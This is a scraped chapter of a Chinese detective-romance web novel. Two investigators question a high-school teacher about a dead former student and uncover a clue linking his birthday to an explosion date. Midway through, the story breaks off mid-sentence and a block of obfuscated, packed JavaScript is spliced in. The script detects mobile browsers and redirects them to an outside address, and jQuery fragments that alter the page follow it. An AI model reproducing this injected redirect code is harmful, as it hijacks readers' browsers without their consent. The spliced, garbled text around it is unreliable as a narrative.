26. 第二十六章
作品:《白月光死遁归来后[刑侦]》 路上遇见了晚高峰堵车,两人抵达目的地时天色已经彻底暗了。
七月的晚风里已经待着浓厚的夏日气息,林忆珍和纪珩伴着蝉鸣声在昏黄路灯下走着,竟少有的感觉到轻松。
“其实说来我们现在还在办案,但远离喧闹繁华的都市就是容易让人感觉到内心宁静啊。”纪珩双手插兜,一边走一边张望着四周的景色。
“就连空气似乎都要清新些。”林忆珍点头道。
两人走到某处停了下来,一齐抬头看向了不远处亮着灯的教学楼:“这里就是松山高中了吧。”
纪珩点头:“应该没错了,我记得这边只有这一所高中。”
两人告知身份后顺利地进入了教学楼,林忆珍一边走一边看手机:“资料上没有说游弋曾经是哪个班的,也不知道当时他的班主任现在还在不在校。”
“随便去办公室问一个老师吧。”纪珩指了指整个学校唯一亮着灯的教学楼,“这个学校不算大,以游弋的长相来说只要是教过他的老师应该都是记得的。”
“说的也是,长相出众的孩子总是能得到更多关注的。”林忆珍耸肩收起了手机,和纪珩一起上了楼。
纪珩有些意外地斜觑林忆珍一眼:“真难得,林队居然会这么坦率。”话落他又不忍有些得意的扬起唇角:“不过也是嘛,咱们林队可是海都警花呢。”
“嗯?”林忆珍回头看他,“我可没有说自己。而且,我在高中并不是亮眼的那一类型。”
纪珩意外地睁大眼:“啊?”
林忆珍难得微微扬起了嘴角,在三楼停了下来走向了走廊。
现在这个时候还留在学校里的都是刚从高二升到高三的学生们。他们在刚刚见证了学长学姐们踏上战场的情况下,怀揣着不安,期待,紧张,以及包括他们自己在内的所有人给上的,所谓“还剩最后一年”的压力,懵懂地踏上了他们人生中最纯粹的日子的最后一段旅程。
“高中的美好风景,往往只有在过站后才能后知后觉。”林忆珍望向教室内一个个埋头苦学的学生们浅浅露出笑,“而当事人在经过这段旅途中,又往往是浮躁的。对于他们来说,现在每天的日子枯燥又单调,于是在一众乏味普通中,“出格”的花们总是格外引人注目。”
说到这纪珩已经完全理解了林忆珍的意思,也轻笑出声。
的确,在高中这种色调如黑白漫画一般的日子里,如果偶然出现了一抹色彩,哪怕只有一点,都会格外耀眼。
因此,比起藏在规矩呆板短发下的完美的皮肤以及精致的五官,一头美丽的长发抑或是取代校服的新衣服往往更加闪亮。
“但也只是一时。”纪珩道,“酒香不怕巷子深,林队你就别蒙我了,林队在学生时代的人气也不比现在低。”
林忆珍回头看他,挑眉露出笑:“注意前后文联系,纪顾问,我可从来不是个自谦的人。”
纪珩一愣,马上反应过来后扬起一个纵容的笑:“怎么突然这么难受呢?”
林忆珍笑了笑,抬手就要敲响办公室的门。
“林队对我心中的隔阂彻底消了吗?”纪珩突然发问。
林忆珍的手顿在空中,半晌后她微微侧过头:“我以为我表现得已经很明显了。”
纪珩抿唇,一时不知道说什么好。
为什么呢?
为什么她说她已经不再对他有隔阂了,他心里某一角竟然会有些抽痛呢?
就像有一个重要的东西在被抽走一般。
“我们现在难道不是在合作吗?”林忆珍问,“既然在合作,那就是战友了。对战友有隔阂的话,这场仗是打不赢的。”
纪珩愣在林忆珍身后。
刚才的一字一句,在他和林忆珍之间搭建起了一座桥梁,让他们俩可以无视掉地下的裂谷再次并肩。
可从另一个角度来看,这座桥梁却又像是林忆珍亲手划下的,横在他们之间的鸿沟。
是战友。
也只是战友。
“好,我明白了。”纪珩垂下眼眸,林忆珍没有看到那对厚镜片下刚才已经汹涌出来的情绪,敲响了办公室的门。
开门的是一个看上去阅历丰富的老教师,约莫快50岁了,鬓边已经全是银丝,厚重镜框下的双眼也显得不那么清明。
“二位是哪位同学的家长吗?”她问道。
林忆珍:“我们是海都市风港刑侦支队的,来这里是想问问当初11届毕业生游弋是哪位老师的学生?”
“游弋?”老师有些错愕地看向林忆珍,“我是他的班主任,找我有什么事吗?”
林忆珍有些惊喜地扬眉,转头和纪珩对视了一眼。
“我从毕业就在松山高中教书了,到现在也几十年过去了,在我无数教过的学生里,游弋算是我印象最深的那一批学生吧。”周老师扶了扶镜框,转身去抽屉里翻找着往届毕业照照片,将游弋班上那一张递给了林忆珍看。
“为什么?因为这孩子长相出众?”林忆珍接过照片问道。
周老师轻笑着摇头,眼里却尽是苦涩:“咱们学校认识这孩子的老师啊,提起他时大概第一反应都是可惜吧。”
林忆珍微蹙眉头,和纪珩一起坐了下来。
他们俩一起看向毕业照,游弋并没有站在中间,可他们俩就是一眼就看到了他。
“为什么这么说呢?”纪珩追问。
“我是在他高二时接管的他们班当班主任。我教书这么多年了,说实话我很少会遇见这么团结的班级。二位也知道,松山高中论升学率,的确不是什么厉害的学校,再加上地方比较落后,这里的孩子啊,大部分都是带着混日子的心态在这的,但他们班不一样。”周老师说,“每个人,无论成绩好坏,都铆着一股劲在学。我仔细观察后发现,是游弋带动的。”
说着周老师从抽屉里拿出一个饼干盒子打开递给林忆珍和纪珩。
林忆珍和纪珩一起接过来看向盒子里的内容,这应该是高考前类似于动员大会上留下的内容。
周老师随意拿起一张低头看去,手指轻轻地摩挲着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213908|196157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“原本是贴在班级后面的墙上的,后来他们毕业了,我就一张张全都撕下来留到了现在。”
“这孩子命不好,年纪轻轻的得了白血病,那时听他奶奶哭诉医生断言活不过成年。我想他是提前了解到了当下的珍贵,才那么拼命的去带动身边同学们珍惜眼前吧。”
“游弋由于身体原因,经常不可避免地缺课在家修养,但即使这样他的成绩也丝毫没有落下过,一直在班上名列前茅。我记得他的生日刚好撞上了查分的时间,那时我们班还一起给他办了生日会。”说到这周老师突然顿住,“谁承想,不过半个多月竟然发生了那样的事情……”
林忆珍也不禁叹了口气。
听了这些后,她只觉得心中更不是滋味。
“那老师,当时有谁跟游弋关系特别好吗?”纪珩盯着毕业照紧蹙眉头。
“关系好的话,其实班上同学都跟他关系很好。”周老师回想着,“不过有一个孩子,游弋对她很上心,转来我们学校后格外照顾。”
“谁!”林忆珍和纪珩同时抬眸追问。
周老师被俩人的反应吓了一跳,指了指游弋下方的女孩。
“楚默。”
“那年海都市的理科状元,也是我们松山高中建校以来唯一一个状元。”
林忆珍和纪珩顺着手指的方向看去,一个一头蓬松短卷发的女孩平静如水地望着镜头,在一片活泼热烈的氛围中格格不入。
“原来不协调的地方在这。”纪珩望着照片突然这么说道。
“?”林忆珍看向他,“什么?”
“你看他比剪刀手的手是不是有点不协调,但如果说在捉弄这个女生的话就说得通了。”纪珩说道,“不过他很聪明,只是稍微不协调罢了,如果不是我带着审视疑点的目光去看我也不会注意到。”
林忆珍见状连忙将那一叠便利贴纸拿过来快速翻了起来,将游弋和楚默的找了出来。
“这张纸粘了两层。”林忆珍拿起楚默的那一张道,随后直接从桌上笔筒里抽出一把美术刀轻轻将两张纸分开。
过了这么多年纸已经变得有些脆了,所以分开时也不算很难。
三人一齐凑过去看。
——人人都形容你像太阳,但我却觉得月亮似乎更适合你。
所以拼命挣扎下去不断前进吧,小月亮。
女孩的字肆意张扬,和她沉静的眼神有着极大的反差。
三个人看完之后,一时间谁都没有说话。
“要是游弋没出事,他们俩应该会走到一起吧。”周老师的笑染上苦涩,“这一对不被命运眷顾的孩子,原本就应该走到一起的。”
“刚才周老师说,游弋的生日是高考出分那一天?”纪珩突然意识到什么,转头看向了林忆珍。
林忆珍抬头对上他的视线,似乎明白了他的言外之意,打开手机又确认了一遍。
“游弋的生日是6月25号。”林忆珍再次抬眸看向纪珩,一字一顿道,“我们推测的那场模拟爆炸,也是6月25号。”

